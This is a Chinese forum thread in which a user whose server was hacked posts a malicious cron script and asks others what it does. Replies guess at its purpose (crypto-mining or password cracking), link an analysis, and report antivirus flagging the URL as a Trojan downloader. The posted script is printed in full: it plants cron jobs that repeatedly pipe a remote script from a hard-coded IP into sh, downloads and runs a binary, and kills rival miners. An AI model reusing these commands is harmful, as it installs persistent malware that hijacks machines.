机器呗黑了，找到个定时任务，大佬看看是做啥的

jbiao520

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/5 * * * * curl -fsSL http://165.225.157.157:8000/i.sh | sh" > /var/spool/cron/root
echo "*/5 * * * * wget -q -O- http://165.225.157.157:8000/i.sh | sh" >> /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/5 * * * * curl -fsSL http://165.225.157.157:8000/i.sh | sh" > /var/spool/cron/crontabs/root
echo "*/5 * * * * wget -q -O- http://165.225.157.157:8000/i.sh | sh" >> /var/spool/cron/crontabs/root

if [ ! -f "/tmp/ddgs.3011" ]; then
    curl -fsSL http://165.225.157.157:8000/static/3011/ddgs.i686 -o /tmp/ddgs.3011
fi
chmod +x /tmp/ddgs.3011 && /tmp/ddgs.3011

ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill
#ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill

591vps

ddgs.i686  主要是这个玩意不解密看不到 让我送他一波DDCC

v2016

本帖最后由 ddnpc 于 2018-5-8 10:00 编辑

lastb last 看看 是不是被爆破了
更新
愚见:
不是挖矿的是破解密码的...



这个人还kill掉别人的挖矿脚本,真是“考虑周到”
密码库不错 收下了。

ddnpc

看不懂

lz2xg

http://www.361way.com/2t3ik-ddgs/5680.html

gakki

这不是挖矿么？

callmefeifei

卡巴斯基免费版

拒绝访问
无法访问该网页

对象网址:

http://165.225.157.157:8000/i.sh
原因: 对象被感染 HEUR:Trojan-Downloader.Shell.Agent.as

hxuf

v2016 发表于 2018-5-8 09:40

那那个i.sh下载看看呢
i.sh就是我贴出来的全部内容，然后加到crontab了